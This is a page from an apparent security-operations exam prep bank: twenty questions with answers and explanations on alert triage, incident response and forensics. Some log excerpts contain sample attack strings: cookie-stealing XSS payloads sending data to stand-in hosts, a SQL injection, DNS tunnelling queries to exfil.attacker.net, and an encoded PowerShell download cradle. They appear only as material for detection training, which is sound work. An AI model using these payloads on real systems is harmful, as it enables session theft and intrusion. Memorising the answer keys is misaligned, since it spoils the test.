Examkin

Security Operations

627 questions

All types627Multiple choice320Multiple select139Matching36Ordering132
Question 1Question →

A network security monitoring sensor flags an alert for anomalous outbound traffic generated by an internal host. The NIDS sensor recorded the following event log details:

Timestamp: 2026-07-27T10:42:19Z
Source IP: 10.4.12.105
Destination IP: 198.51.100.89
Destination Port: 8443/TCP
Configured Inspection Rule: Expect HTTPS / TLS Application Protocol
Observed Banner Payload: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1

Which of the following is the most accurate analysis of this network alert?

Show answer & explanation

Answer: Protocol encapsulation mismatch indicating an attempt to tunnel SSH traffic over a non-standard port to evade network egress filtering.

Answer

Protocol encapsulation mismatch indicating an attempt to tunnel SSH traffic over a non-standard port to evade network egress filtering.
The correct analysis recognizes that the NIDS sensor flagged a protocol mismatch where an SSH handshake banner ('SSH-2.0-OpenSSH...') was transmitted over port 8443, a port expected to carry TLS-encapsulated HTTPS traffic. Encapsulating non-HTTP protocols over standard or non-standard SSL/TLS ports is a common technique used to tunnel restricted traffic through network firewalls.

Step-by-Step Solution

1
Analyze the NIDS log fields
Identified that port 8443/TCP was configured to expect TLS/HTTPS traffic, but the observed payload contained the SSH protocol banner 'SSH-2.0-OpenSSH_8.9p1'.
Security monitoring sensors compare expected protocol behavior against inspected packet headers and payload signatures.
2
Determine the attack technique or operational anomaly
Recognized protocol tunneling/encapsulation used for perimeter control evasion.
Attackers or rogue internal hosts often run SSH servers over common HTTPS ports (such as 443 or 8443) to tunnel unauthorized traffic past firewall egress rules.
3
Differentiate correct root cause from distractor controls and attack types
Confirmed that the alert indicates protocol evasion, not SQL injection, WAF misclassification, or honeypot issues.
Deep packet inspection reveals application-layer protocol mismatches regardless of the destination port number used.

Key Concept

Network Security Monitoring and Protocol Analysis
Question 2Question →

A Security Operations Center (SOC) analyst is reviewing an alert triggered by a perimeter Network Intrusion Detection System (NIDS). The NIDS captured the following HTTP request payload targeting an internal customer portal:

GET /catalog.php?item=42%20UNION%20SELECT%20username,password_hash%20FROM%20user_credentials-- HTTP/1.1
Host: portal.company.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

Based on this network security monitoring alert, which of the following is the most accurate assessment of the threat and the appropriate immediate analyst action?

Show answer & explanation

Answer: The log indicates a SQL injection attempt aiming to extract database content; the analyst should check Web Application Firewall (WAF) and SIEM logs to verify if the server responded with successful data execution.

Answer

The alert represents a SQL injection attempt targeting database records, requiring the analyst to correlate SIEM web server logs and HTTP response status codes to assess impact.
The payload contains URL-encoded SQL commands (`UNION SELECT`), which signifies a SQL injection attempt targeting the backend database. In network security monitoring, receiving a NIDS alert for an inbound payload requires verifying downstream web server and database logs in the SIEM to check whether the application processed the request successfully.

Step-by-Step Solution

1
Analyze the captured NIDS payload snippet
Identified URL-encoded SQL commands ('UNION SELECT username,password_hash FROM user_credentials--').
Recognizing database syntax within HTTP parameter inputs isolates the threat vector as SQL injection.
2
Determine the scope and target of the attack
The attack targets backend database content via an unformatted web request parameter.
Distinguishing database queries from client-side script payloads ensures proper incident classification.
3
Select the appropriate network monitoring triage step
Query SIEM and web application logs for corresponding HTTP status codes (e.g., 200 OK vs 500 Internal Error) and response payload size.
NIDS alerts indicate detection of request payloads; verifying response logs determines whether the vulnerability was successfully exploited.

Key Concept

NIDS Log Payload Analysis and Attack Triage
Question 3Question →

An enterprise Security Operations Center (SOC) detects anomalous, high-volume outbound UDP port 53 traffic originating from an automated internal build server. Log inspection reveals structured base64-encoded strings appended to DNS queries sent to an external, unclassified domain, indicating active DNS tunneling and data exfiltration. Which TWO of the following actions should the incident response team perform FIRST to contain the threat while preserving evidence? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Apply network-level isolation controls or move the build server interface to a quarantine VLAN.; Capture a volatile memory image of the host before executing destructive remediation tasks.

Answer

The incident response team should apply network-level isolation controls (or move the interface to a quarantine VLAN) and capture a volatile memory image (RAM) of the host before performing destructive remediation.
In accordance with standard incident response frameworks (NIST SP 800-61 / ISO 27035), containment must isolate the compromised asset from the network while preserving volatile digital evidence. Isolating the build server via firewall/VLAN adjustments blocks C2 and exfiltration channels immediately. Capturing physical RAM satisfies the order of volatility, ensuring volatile evidence is captured prior to system changes.

Step-by-Step Solution

1
Isolate the host at the network layer.
Stops ongoing data exfiltration via DNS tunneling while preserving system execution state.
Containment limits the blast radius without modifying system artifacts or losing volatile memory.
2
Preserve volatile evidence according to the order of volatility.
Captures running processes, memory-resident tools, and active network connections stored in RAM.
Volatile memory is lost if the machine is powered off, rebooted, or modified during eradication.

Key Concept

Incident Response Containment and Forensic Order of Volatility
Estimated Time:1m 30s
Question 4Question →

A security analyst reviews a high-severity alert generated by a Network Intrusion Detection System (NIDS) monitoring enterprise perimeter web traffic. The SIEM correlation rule triggered on the following HTTP payload excerpt:

`GET /products/search?user_input=<script>window.location='http://malicious-exfil.com/collector?cookie='+document.cookie</script> HTTP/1.1`

The analyst logs the incident as a successful SQL injection attack attempting to query sensitive database tables. Which of the following best explains why the analyst's interpretation of this network alert is incorrect?

Show answer & explanation

Answer: The payload represents a Cross-Site Scripting (XSS) attack vector attempting client-side script execution to steal cookies, rather than a database query manipulation attack.

Answer

The analyst's interpretation is incorrect because the payload contains client-side JavaScript (`<script>` tags exfiltrating `document.cookie`), which indicates Cross-Site Scripting (XSS), not SQL injection.
The correct answer identifies that the payload in the NIDS alert uses JavaScript script tags (`<script>`) and browser object references (`document.cookie`) to exfiltrate session data to an external site. This is the hallmark signature of a Cross-Site Scripting (XSS) attack. SQL injection attacks involve inserting SQL statements (such as `SELECT`, `UNION`, or `DROP`) to manipulate database backend processing.

Step-by-Step Solution

1
Examine the payload signature from the NIDS network event log.
The parameter value contains `<script>window.location='http://malicious-exfil.com/collector?cookie='+document.cookie</script>`.
Analyzing the raw string payload reveals the functional syntax of the attempted exploit.
2
Differentiate between web application attack signatures.
JavaScript execution syntax (`<script>`) targeted at browser DOM objects (`document.cookie`) corresponds to Cross-Site Scripting (XSS). SQL injection payloads utilize database query syntax such as `' OR '1'='1` or `UNION SELECT`.
Accurate alert classification requires matching observed payload syntax to the corresponding threat category.
3
Select the option that correctly identifies the misinterpretation.
The option stating that the payload represents Cross-Site Scripting rather than SQL injection accurately corrects the analyst's diagnosis.
This directly addresses the root cause of the misclassified network security monitoring alert.

Key Concept

Web Application Attack Log Interpretation in Network Security Monitoring
Question 5Question →

A security operations team is configuring an automated vulnerability management workflow for a hybrid cloud environment containing both ephemeral container workloads and legacy database servers. Which of the following scanning strategies should the team implement to minimize network overhead while ensuring accurate detection of OS-level vulnerabilities? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deploy lightweight host-based agents on persistent database servers to perform authenticated internal system checks.; Integrate vulnerability scanners directly into the CI/CD pipeline to analyze container images prior to deployment.

Answer

The team should deploy host-based agents on persistent database servers and integrate container image scanning into the CI/CD deployment pipeline.
Deploying host-based agents on persistent servers provides detailed credentialed assessment results without generating heavy network traffic. Similarly, integrating container scanning into the CI/CD pipeline ensures container images are assessed for vulnerabilities before being spawned, addressing the ephemeral nature of container workloads efficiently.

Step-by-Step Solution

1
Analyze persistent workload requirements
Identify that host-based agents provide continuous, credentialed assessment of OS and library patch states on persistent database servers with minimal network impact.
Host agents execute locally, eliminating network bandwidth consumption and port-scanning overhead on core databases.
2
Analyze container workload requirements
Identify that scanning static container images within the CI/CD pipeline identifies vulnerabilities prior to runtime deployment.
Ephemeral containers spin up and shut down rapidly, making active network scans ineffective and resource-intensive.

Key Concept

Selecting appropriate vulnerability scanning methodologies (agent-based vs. network-based vs. static pipeline image scanning) based on infrastructure environment constraints.
Question 6Question →

To enforce strict endpoint security across a hybrid workforce, a security team is designing a host health validation strategy to enforce configuration baselines and patch management standards. Which of the following technical controls directly ensure that endpoints maintain verified baseline configurations and patch levels? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deploying configuration management agents to continuously audit workstation settings against established security baselines and automatically remediate configuration drift; Implementing Network Access Control (NAC) posture assessment to check endpoint operating system patch levels against mandatory patch compliance SLAs before granting network access

Answer

Deploying automated configuration management agents to remediate baseline drift and implementing Network Access Control (NAC) posture assessments to verify patch compliance.
Maintaining secure host states requires verifying both software patch levels and baseline configurations. Automated configuration management agents detect and correct unauthorized setting changes (configuration drift), while posture assessment mechanisms (such as NAC) evaluate patch levels against defined SLAs to ensure non-compliant systems are isolated or updated prior to granting network access.

Step-by-Step Solution

1
Identify mechanisms that enforce configuration baselines and remediate configuration drift on endpoints.
Automated configuration management agents continuously monitor system settings and restore non-compliant settings back to authorized baselines.
Baseline enforcement requires local or agent-based auditing and automated remediation.
2
Identify mechanisms that validate endpoint patch compliance during network admission.
Network Access Control (NAC) posture assessments check host patch status against organization SLAs prior to network authorization.
NAC posture checks prevent unpatched or vulnerable systems from joining the corporate network.

Key Concept

Continuous configuration baseline auditing, drift remediation, and endpoint patch compliance validation.
Question 7Question →

An enterprise infrastructure team is deploying an out-of-band Network Security Monitoring (NSM) sensor to monitor network perimeter traffic without introducing inline latency. Place the operational steps for establishing and validating this monitoring capability in the correct sequential order from initial network tap setup to final alert validation.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct operational deployment sequence is: first, configure a hardware TAP or SPAN port on the core switch; second, connect the mirrored feed to a sensor interface in promiscuous mode; third, configure protocol parsing rules and detection signatures; and fourth, transmit synthetic test traffic to verify alert ingestion.
Establishing an out-of-band Network Security Monitoring (NSM) capability follows a logical progression: duplicating traffic via TAP/SPAN ports, connecting the stream to a sensor interface operating in promiscuous mode, activating NIDS detection signatures to digest packets, and finally performing synthetic traffic generation to validate that alerts successfully trigger and flow into security operations management platforms.

Step-by-Step Solution

1
Establish traffic mirroring
Network traffic is replicated to an isolated monitoring port without impacting inline flow.
Out-of-band network monitoring requires duplicating packet streams at the physical or data link layer first.
2
Bind feed to sensor interface in promiscuous mode
The sensor network interface card accepts all frames passed from the switch.
Without promiscuous mode, the NIC drops frames not explicitly addressed to its own MAC address.
3
Load detection signatures and parsers
The NIDS engine actively inspects incoming stream data against signatures and behavioral baselines.
Parsing logic must be active to extract telemetry and identify threat indicators from captured packets.
4
Execute end-to-end synthetic testing
Generated test indicators trigger expected alerts that appear in the central log repository.
Synthetic validation confirms complete pipeline connectivity from network capture to SOC alerting.

Key Concept

Out-of-band network security monitoring architecture and validation sequence
Question 8Question →

A security analyst is designing a vulnerability assessment strategy for an enterprise environment that includes both ephemeral cloud virtual machines that dynamically auto-scale and legacy operational technology (OT) controllers that are susceptible to crashing under heavy active network traffic. Which deployment model best provides comprehensive vulnerability visibility while minimizing operational risk and disruption across both asset types?

Show answer & explanation

Answer: Deploy lightweight host-based scan agents on the cloud virtual machines and implement passive network vulnerability monitoring for the legacy operational technology controllers.

Answer

Deploying lightweight host-based scan agents on cloud virtual machines and implementing passive network vulnerability monitoring for legacy operational technology controllers provides full visibility while respecting operational constraints.
Host-based scan agents are ideal for short-lived, dynamically scaling cloud virtual machines because they execute locally and report state to a management console regardless of network IP changes. Passive network vulnerability monitoring collects network traffic without transmitting active probes, making it safe for delicate legacy OT systems that could malfunction when actively scanned.

Step-by-Step Solution

1
Analyze the operational constraints of auto-scaling cloud virtual machines.
Cloud instances are ephemeral and may shut down before centralized active network scanners discover or complete scanning them. Host-based agents embedded in base images register immediately upon spin-up.
Agent-based architecture ensures visibility into short-lived workload vulnerabilities without needing network sweeps.
2
Analyze the operational constraints of legacy operational technology (OT) controllers.
Fragile industrial control devices often lack robust TCP/IP stacks and can crash when receiving unexpected port probes or high packet volumes.
Passive network scanning inspects existing network traffic without injecting probes, eliminating downtime risk for OT assets.
3
Synthesize the optimal combined vulnerability assessment approach.
Combining host agents for cloud workloads with passive scanning for OT infrastructure provides comprehensive assessment coverage tailored to each asset class.
Different operational environments require distinct scanning mechanics to balance visibility against availability.

Key Concept

Selecting appropriate vulnerability scanning methodologies (agent-based vs. passive network monitoring) based on target asset characteristics and operational risk profiles.
Question 9Question →

A security administrator inspecting Network Intrusion Detection System (NIDS) alerts detects an HTTP POST request targeting an internal human resources portal. The recorded packet payload contains the string: `user=jdoe&token=<script>document.location='http://external-logger.net/collect?c='+document.cookie</script>`. Which of the following correctly identifies the vector shown in the alert and the proper security control response?

Show answer & explanation

Answer: Cross-Site Scripting (XSS); deploy a Web Application Firewall (WAF) or application-level sanitization to inspect and block malicious scripts.

Answer

Cross-Site Scripting (XSS); deploy a Web Application Firewall (WAF) or application-level sanitization to inspect and block malicious scripts.
The recorded log string features script tags (`<script>`) designed to execute JavaScript in a target browser and exfiltrate session cookie data. This is a classic Cross-Site Scripting (XSS) payload. Because NIDS operates as a passive detective control, appropriate remediation requires application-aware protection such as input sanitization or a Web Application Firewall (WAF).

Step-by-Step Solution

1
Analyze the log payload structure
The payload includes JavaScript tags (`<script>...document.cookie...`) designed to steal session tokens via browser execution.
Identifying browser-executed script injection confirms the attack type as Cross-Site Scripting (XSS) rather than database manipulation (SQLi).
2
Evaluate control requirements for out-of-band NIDS alerts
Out-of-band NIDS provides detective alerting but cannot block active traffic inline.
Mitigating web application attack vectors requires application-layer defensive controls (such as WAF or input validation) rather than misconfiguring detective monitoring systems.

Key Concept

Identifying Cross-Site Scripting (XSS) payloads in network security monitoring logs and selecting application-layer mitigation controls.
Question 10Question →

An enterprise security team is evaluating alert telemetry generated by a network intrusion detection system (NIDS) and netflow collectors monitoring a DMZ web server (IP address 192.168.50.14192.168.50.14). Flow telemetry demonstrates persistent outbound TCP connections initiated every 300300 seconds to an external IP address (198.51.100.45198.51.100.45) over port 443443. However, NIDS packet payload analysis reveals that the outbound traffic consists of raw, unencrypted HTTP POST requests containing base64-encoded strings rather than valid TLS handshake negotiations. Which of the following conclusions best explains this alert scenario?

Show answer & explanation

Answer: An compromised internal host is using protocol tunneling and scheduled beaconing over an allowed port to maintain command-and-control communication while evading port-based filtering.

Answer

An compromised internal host is using protocol tunneling and scheduled beaconing over an allowed port to maintain command-and-control communication while evading port-based filtering.
The combination of regular outbound connections at fixed time intervals (beaconing) and traffic payload mismatch (unencrypted HTTP over port 443) strongly indicates an infected system establishing a covert command-and-control (C2) channel through protocol tunneling to bypass perimeter port restrictions.

Step-by-Step Solution

1
Analyze the connection pattern in flow telemetry.
Identified periodic outbound connections occurring at precise 300-second intervals to an external address.
Regular, automated outbound intervals (beaconing) are indicative of automated malware checking in with a command-and-control (C2) server.
2
Examine packet inspection payload data for protocol mismatches.
Found unencrypted HTTP POST payloads on TCP port 443 instead of standard TLS/SSL encrypted traffic.
Attackers often use standard open outbound ports (like port 443) to tunnel non-standard or unencrypted traffic to bypass simple port-based firewall filtering.
3
Synthesize findings to determine root cause.
Confirmed covert C2 beaconing via protocol tunneling.
Combining automated interval timing with payload/port mismatch confirms malware egress beaconing and protocol evasion.

Key Concept

Network Security Monitoring, Protocol Tunneling, and Egress Beaconing Identification
Question 11Question →

A Security Operations Center (SOC) analyst is reviewing identity logs following an automated alert. The logs record two successful authentication events for the same employee account within a short timeframe:

- 14:02:11 UTC | Account: j.smith | Location: New York, USA | Method: Password + TOTP | Status: SUCCESS
- 14:05:30 UTC | Account: j.smith | Location: Tokyo, Japan | Method: Password + Push Prompt | Status: SUCCESS

Based on these logs, which of the following identifies the most likely operational security issue and the correct immediate response?

Show answer & explanation

Answer: An impossible travel anomaly indicating compromised user credentials; immediately revoke all active session tokens and reset the account credentials.

Answer

An impossible travel anomaly indicating compromised user credentials; immediately revoke all active session tokens and reset the account credentials.
The correct option identifies an impossible travel anomaly, which occurs when an account successfully authenticates from two geographic locations that are too far apart to travel between in the elapsed time. In Security Operations, when impossible travel is detected, the compromised account must be contained immediately by invalidating active sessions and resetting credentials.

Step-by-Step Solution

1
Analyze the authentication log timestamps and geographic locations.
Identified two successful authentications for user account j.smith occurring 3 minutes and 19 seconds apart between New York and Tokyo.
Physical movement between these geographically distant locations in under four minutes is physically impossible.
2
Determine the operational security risk based on the log pattern.
Recognized an impossible travel detection alert, which typically signifies compromised primary credentials or session hijacking.
An attacker likely obtained valid credentials and successfully logged in from a remote region while the legitimate user logged in locally.
3
Select the appropriate immediate incident response action.
Revoke active session tokens and initiate a mandatory credential reset for the impacted account.
Terminating existing sessions prevents further unauthorized actions while resetting credentials halts future unauthorized access.

Key Concept

Identity Log Anomaly Detection and Account Containment
Question 12Question →

An organization's security team integrates an automated SOAR playbook with their container orchestration platform to terminate and redeploy application pods whenever runtime security threats are detected. Following a threat feed update, a high volume of false-positive alerts triggers continuous pod terminations, resulting in an application service outage. Which of the following workflow modifications best prevents this cascading operational disruption while preserving automated remediation capabilities?

Show answer & explanation

Answer: Implement rate-limiting thresholds and conditional human-in-the-loop approval triggers within the playbook logic before executing bulk pod terminations.

Answer

Implementing rate-limiting thresholds and conditional human-in-the-loop approval triggers within the playbook logic prevents runaway automated pod terminations while maintaining automated response capabilities.
The correct response introduces rate limiting and conditional human-in-the-loop approval steps into the SOAR workflow. This ensures that high-volume or rapid-succession actions are paused for analyst verification, preventing automated playbooks from causing large-scale availability outages while retaining rapid response capabilities for isolated incidents.

Step-by-Step Solution

1
Analyze the operational incident root cause.
The availability outage was caused by an unconstrained SOAR playbook repeatedly executing containment actions based on high-frequency alert triggers.
Automated security orchestration workflows without execution bounds or safety guardrails risk causing self-inflicted denial-of-service conditions.
2
Evaluate containment guardrail controls for SOAR playbooks.
Rate limiting restricts the number of actions executed per time window, and human-in-the-loop (HITL) approval pauses mass actions for verification.
Balancing security automation with operational resilience requires guardrails that catch false-positive loops before impacting critical infrastructure.

Key Concept

SOAR Playbook Logic and Operational Guardrails
Estimated Time:1m 15s
Question 13Question →

A security analyst detects active data exfiltration originating from a compromised database server. Which of the following incident response steps should be taken first?

Show answer & explanation

Answer: Isolate the affected server from the network to stop the data transfer.

Answer

Isolate the affected server from the network to stop the data transfer.
Isolating the affected server immediately contains the active incident by terminating ongoing exfiltration channels and preventing lateral movement across the internal network.

Step-by-Step Solution

1
Identify the current state of the security incident from the scenario.
An attack is actively occurring (data exfiltration in progress).
Active threats require immediate containment to limit damage and prevent further exfiltration.
2
Map the candidate actions to standard incident response lifecycle phases.
Isolating the host belongs to Containment, formatting belongs to Eradication, restoring belongs to Recovery, and reviewing belongs to Post-Incident Activity.
Standard NIST incident response guidelines dictate performing Containment prior to Eradication, Recovery, or Post-Incident activities.

Key Concept

Incident Response Lifecycle Order
Question 14Question →

A security operations analyst is investigating an automated high-severity alert triggered by an enterprise SIEM. The alert correlated the following log entries generated by an internal host (`192.168.10.45`) across a local DNS resolver and perimeter firewall logs:

text
2026-07-27T14:15:02Z dns-core-01 named[4102]: client @0x7f8a 192.168.10.45#51204 (61646d696e2d6372656473.exfil.attacker.net): query: 61646d696e2d6372656473.exfil.attacker.net IN TXT + (10.0.0.2)
2026-07-27T14:15:05Z dns-core-01 named[4102]: client @0x7f8a 192.168.10.45#51205 (70617373776f72643132.exfil.attacker.net): query: 70617373776f72643132.exfil.attacker.net IN TXT + (10.0.0.2)
2026-07-27T14:15:09Z dns-core-01 named[4102]: client @0x7f8a 192.168.10.45#51206 (5345435245544b455931.exfil.attacker.net): query: 5345435245544b455931.exfil.attacker.net IN TXT + (10.0.0.2)
2026-07-27T14:15:12Z fw-edge-01 syslog: action="allow" src_ip=192.168.10.45 src_port=51207 dst_ip=198.51.100.53 dst_port=53 proto=UDP bytes_sent=4120 bytes_recv=8900

Based on these correlated log entries, which of the following malicious activities is taking place, and what key log feature supports this conclusion?

Show answer & explanation

Answer: DNS data exfiltration (tunneling), indicated by sequential TXT record requests carrying high-entropy, hexadecimal-encoded payload strings in the subdomain parameters.

Answer

DNS data exfiltration (tunneling), indicated by sequential TXT record requests carrying high-entropy, hexadecimal-encoded payload strings in the subdomain parameters.
The correct answer accurately identifies DNS data exfiltration (tunneling). The raw DNS logs reveal sequential TXT queries to an external domain (`exfil.attacker.net`) containing long hexadecimal string prefixes in the subdomain field. When decoded (e.g., `61646d...` is hex for 'admin-creds'), these strings represent stolen data exfiltrated via covert DNS channels.

Step-by-Step Solution

1
Analyze the DNS resolver log entries (`dns-core-01`) for query structure and request types.
Identified rapid, sequential requests for TXT records where the hostname prefix consists of long, high-entropy hexadecimal character strings (e.g., `61646d696e...` translates to `admin-creds`).
Attackers encode sensitive stolen data into hostnames and use DNS query types like TXT or A records to bypass standard firewall port restrictions.
2
Correlate DNS query records with perimeter firewall logs (`fw-edge-01`).
Confirmed direct outbound UDP port 53 communication from host `192.168.10.45` to an external IP (`198.51.100.53`).
Firewall logs confirm data transmission occurring outside expected local DNS recursion paths.
3
Differentiate DNS exfiltration patterns from other attack vectors such as DDoS, SQL injection, or privilege escalation.
Determined that encoding payloads into DNS subdomains specifically matches covert channel exfiltration tactics.
The observed structure is specific to DNS covert channel tunneling, distinguishing it from web application flaws or identity management events.

Key Concept

DNS Exfiltration and SIEM Event Correlation
Question 15Question →

A cybersecurity analyst is responding to an active incident on a powered-on workstation. The analyst must capture digital evidence while strictly adhering to the order of volatility. Which of the following evidence sources should the analyst capture FIRST?

Show answer & explanation

Answer: System RAM (Random Access Memory)

Answer

System RAM (Random Access Memory) must be captured first because it is the most volatile evidence source among the given choices.
System RAM contains transient data that is permanently lost if the machine is powered off or restarted. Forensic standards require capturing volatile memory before non-volatile media to preserve active processes, network connections, and unencrypted data.

Step-by-Step Solution

1
Review the forensic order of volatility principle.
Evidence must be collected starting from the most volatile (easily altered or lost) to the least volatile (persistent long-term storage).
Collecting evidence in order of volatility prevents critical transient data—such as open network sockets or memory-resident malware—from being lost.
2
Compare the volatility of system RAM against secondary storage, network logs, and backups.
RAM loses all contained data as soon as power is turned off or the machine reboots, whereas hard drives, network shares, and tapes preserve data persistently.
Primary system memory is volatile RAM, whereas disk drives and tapes are non-volatile media.
3
Determine the highest priority source.
System RAM is the most volatile component among the listed options and must be acquired first.
Direct alignment with standard digital forensics best practices.

Key Concept

Order of Volatility in Digital Forensics
Question 16Question →

During a forensic investigation involving suspected corporate espionage, an incident responder must acquire evidence from an operational server processing sensitive customer data in system memory. The legal team specifies that all collected digital evidence must remain strictly admissible in judicial proceedings and verifiable against tampering throughout the evidence lifecycle. Which of the following procedures best maintains compliance with the order of volatility while establishing proper chain of custody?

Show answer & explanation

Answer: Capture system RAM using a validated live acquisition utility, immediately compute a cryptographic hash of the memory dump, and log the hash value along with the collector's identity, precise timestamp, and serial numbers in the custody transfer document.

Answer

Capturing volatile system RAM using a validated live acquisition tool, immediately computing a cryptographic hash of the capture file, and recording the hash alongside acquisition metadata and collector details in a formal chain of custody log fulfills both volatility and evidentiary chain requirements.
Capturing system RAM prior to system shutdown respects the order of volatility because RAM content is extremely ephemeral. Computing an immediate cryptographic hash establishes a verifiable integrity baseline. Logging the hash value, timestamp, collector identity, and hardware details into a formal chain of custody document ensures the evidence is legally defensible and tamper-evident.

Step-by-Step Solution

1
Prioritize Volatile Evidence Acquisition
System RAM is captured while the host remains operational, adhering strictly to the Order of Volatility (CPU registers/cache -> RAM -> network state -> disk -> archival media).
Powering down or altering system state prior to RAM capture permanently erodes volatile artifacts such as running processes, memory-only malware, and active encryption keys.
2
Establish Evidence Integrity Baseline
A cryptographic hash (such as SHA-256) is generated immediately after acquiring the memory image.
The calculated hash serves as a cryptographic fingerprint to prove that the evidence image is unmodified from the exact moment of capture.
3
Document Chain of Custody
The hash value, acquisition timestamp, examiner name, device serial numbers, and storage details are entered into a formal chain of custody log.
Chain of custody documentation tracks every individual who handled the evidence, ensuring complete traceability and legal admissibility in court.

Key Concept

Order of Volatility and Chain of Custody Integration
Question 17Question →

A security analyst reviews a SIEM event log alert triggered by a host-based monitoring agent on a financial workstation:

text Timestamp: 2026-07-27T14:22:10Z Device: WKS-FIN-042 Event ID: 4688 (Process Creation) Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -ExecutionPolicy Bypass -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJ2h0dHA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADEANQAvAHAAYQB5AGwAbwBhAGQALgBwAHMxACcAKQA= ParentProcessName: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE Account Name: jdoe

Based on the correlated process creation details in this log snippet, which of the following attack scenarios is actively occurring?

Show answer & explanation

Answer: A productivity application macro spawned an encoded PowerShell command to retrieve a remote secondary payload.

Answer

The correlated event log indicates that a macro within Microsoft Excel (EXCEL.EXE) spawned an encoded PowerShell process (powershell.exe) designed to download and execute an external payload script.
The Windows Event ID 4688 log shows Microsoft Excel (EXCEL.EXE) launching PowerShell with execution policy bypass flags and a Base64-encoded string. Base64 decoding reveals a script initiating an HTTP GET request to pull a payload. Spawning shell processes from office productivity applications is a standard indicator of malicious document macro execution.

Step-by-Step Solution

1
Analyze the event metadata and parent-child process relationship.
Event ID 4688 indicates process creation. The parent process is EXCEL.EXE and the spawned child process is powershell.exe.
Legitimate spreadsheet software rarely spawns command-line shell interpreters unless executing malicious embedded macros.
2
Decode and analyze the command-line arguments passed to the child process.
The flag -ExecutionPolicy Bypass bypasses script execution restrictions, and the Base64 encoded payload (-enc) decodes to a PowerShell DownloadString call targeted at an external IP address.
Attackers encode commands to obscure download cradles from simple keyword-based log filters.
3
Synthesize findings to determine the attack vector.
The log pattern matches a malicious document macro execution triggering a remote stager download.
Correlating parent process, child command parameters, and decoded payload strings confirms the initial execution mechanism.

Key Concept

Process Lineage and Command-Line Log Analysis
Question 18Question →

An organization is updating its cybersecurity procedures to follow the standard NIST SP 800-61 incident response framework. In which sequential order should the cybersecurity team execute the four primary phases of the incident response lifecycle from beginning to end?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequential order of the NIST incident response lifecycle phases is Preparation, followed by Detection and Analysis, followed by Containment, Eradication, and Recovery, and ending with Post-Incident Activity.
According to the NIST SP 800-61 guidelines, the standard incident response lifecycle proceeds sequentially through four main phases: Preparation (setting up plans and capabilities), Detection and Analysis (discovering and investigating the security event), Containment, Eradication, and Recovery (limiting impact, eliminating the threat, and restoring systems), and Post-Incident Activity (reviewing lessons learned to refine future response).

Step-by-Step Solution

1
Identify the proactive groundwork phase
Preparation is established as the necessary starting phase before any active incident occurs.
An organization must prepare infrastructure, policies, and response capabilities prior to detecting an attack.
2
Determine the initial reactive phase during an active event
Detection and Analysis follows Preparation.
Once an incident occurs, the team must detect indicators of compromise and analyze logs to confirm the event.
3
Identify the active remediation phase
Containment, Eradication, and Recovery comes third.
After confirming the incident, immediate containment limits damage, eradication removes threat elements, and recovery restores normal operations.
4
Identify the wrap-up and review phase
Post-Incident Activity is the final phase.
Lessons learned and post-mortem analysis can only be completed after systems are fully recovered and stabilized.

Key Concept

NIST SP 800-61 Incident Response Lifecycle Phases
Question 19Question →

During an operational security review, a SOC analyst identifies an unprivileged service account launching an encoded command that executes process hollowing against svchost.exe on a core database host. The analyst needs to stop active adversary command-and-control (C2) communication and prevent lateral movement immediately, while ensuring volatile memory (RAM) remains intact for live memory forensic extraction. Which of the following actions should the analyst execute FIRST using the EDR platform?

Show answer & explanation

Answer: Execute host-level network isolation via the EDR console to block system network traffic while preserving the EDR agent management channel.

Answer

Execute host-level network isolation via the EDR console to block system network traffic while preserving the EDR agent management channel.
Executing host-level network isolation via the EDR agent console immediately restricts all incoming and outgoing network traffic at the host network driver level, neutralizing command-and-control (C2) channels and blocking lateral movement. Crucially, the EDR console maintains an encrypted management tunnel to the host agent, allowing analysts to perform live incident response, pull volatile RAM images, and run forensic scripts while keeping the host powered on.

Step-by-Step Solution

1
Analyze the incident requirements and constraints
Identified the need for immediate containment of C2 and lateral movement while preserving volatile memory (RAM).
Process hollowing resides in system memory; restarting or powering down host destroys volatile evidence.
2
Evaluate EDR containment capabilities against legacy controls
Determined that EDR host-level network isolation disables network adapters logically without interrupting agent-to-console management.
This maintains analyst access for RAM acquisition and response playbooks while cutting off the adversary completely.
3
Select the correct initial operational step
Host isolation via the EDR console is the best initial response action.
It satisfies containment objectives without violating the order of volatility in digital forensics.

Key Concept

EDR Endpoint Network Isolation and Forensic Volatility Preservation
Estimated Time:1m 30s
Question 20Question →

A security analyst is conducting a digital forensics collection on a Linux server suspected of being compromised by an attacker. To adhere to forensic principles regarding the order of volatility and evidence integrity, which of the following procedures should the analyst perform during the acquisition phase? (Select TWO).

Select all that apply

Show answer & explanation

Answer: Capture the contents of physical RAM prior to shutting down or rebooting the server.; Calculate and record SHA-256 cryptographic hashes of the disk images immediately following acquisition.

Answer

The analyst should capture the contents of physical RAM prior to shutting down or rebooting the server, and calculate and record SHA-256 cryptographic hashes of the disk images immediately following acquisition.
Preserving volatile RAM before system shutdown ensures transient artifacts are saved according to the order of volatility. Calculating cryptographic hashes immediately post-acquisition ensures the integrity of the evidence can be validated throughout the investigation.

Step-by-Step Solution

1
Evaluate the order of volatility for system components.
System RAM, active network connections, and cache are highly volatile and lost upon system shutdown or reboot, so RAM must be captured first while the system is running.
Capturing volatile memory before powering down preserves critical artifacts such as running processes, memory-resident malware, and decrypted keys.
2
Evaluate evidence integrity and chain of custody validation mechanisms.
Generating SHA-256 cryptographic hashes immediately post-acquisition creates an immutable mathematical fingerprint of the evidence.
Cryptographic hashes verify that forensic images remain exact byte-for-byte replicas of the evidence over time.

Key Concept

Order of Volatility and Evidence Integrity Preservation
Page 1 / 32Next